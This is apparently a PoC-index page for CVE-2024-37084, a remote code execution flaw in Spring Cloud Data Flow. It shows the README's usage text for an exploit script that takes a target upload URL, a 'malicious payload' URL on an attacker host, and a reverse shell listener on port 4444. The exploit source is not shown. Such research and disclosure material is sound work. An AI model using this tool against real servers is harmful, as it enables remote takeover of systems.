CVE-2024-37084 PoC — CVE-2024-37084: Remote code execution in Spring Cloud Data Flow

Source

Associated Vulnerability

Description

Analysis , Demo exploit and poc about CVE-2024-37084

Readme

# CVE-2024-37084-Poc
Setup ,Analysis , Demo exploit and poc about CVE-2024-37084

# How to use : 
```
 py .\CVE-2024-37084-Poc.py -h
usage: python poc_cve_2024_37084.py --target_url <target_url> --version <version> --origin <origin> --payload_url <payload_url> [--listen_ip <listen_ip>] [--listen_port <listen_port>]

PoC for CVE-2024-37084 - Remote Code Execution

optional arguments:
  -h, --help            show this help message and exit
  --target_url TARGET_URL
                        URL of the target server (e.g., http://target_ip:port/api/package/upload)
  --version VERSION     Version of the package (e.g., 4.0.0)
  --origin ORIGIN       Origin name for the package (e.g., thePoc)
  --payload_url PAYLOAD_URL
                        URL to the malicious payload (e.g., http://ip_attacker:port/something)
  --listen_ip LISTEN_IP
                        IP to listen for the reverse shell (default: 0.0.0.0)
  --listen_port LISTEN_PORT
                        Port to listen for the reverse shell (default: 4444)
```
Link setup , analysis and Demo by me [Link](https://kayiyan.gitbook.io/research/cve/cve-2024-37084-spring-cloud-remote-code-execution)

For yaml payload can use : [Link](https://github.com/artsploit/yaml-payload)

File Snapshot

 [4.0K]  /data/pocs/7856f7fd295bc1bdb2bba4461fb1c91b9f2176c2
├── [3.7K]  CVE-2024-37084-Poc.py
├── [1.2K]  README.md
└── [ 15M]  spring-cloud-dataflow-2.11.0.zip

0 directories, 3 files

Remarks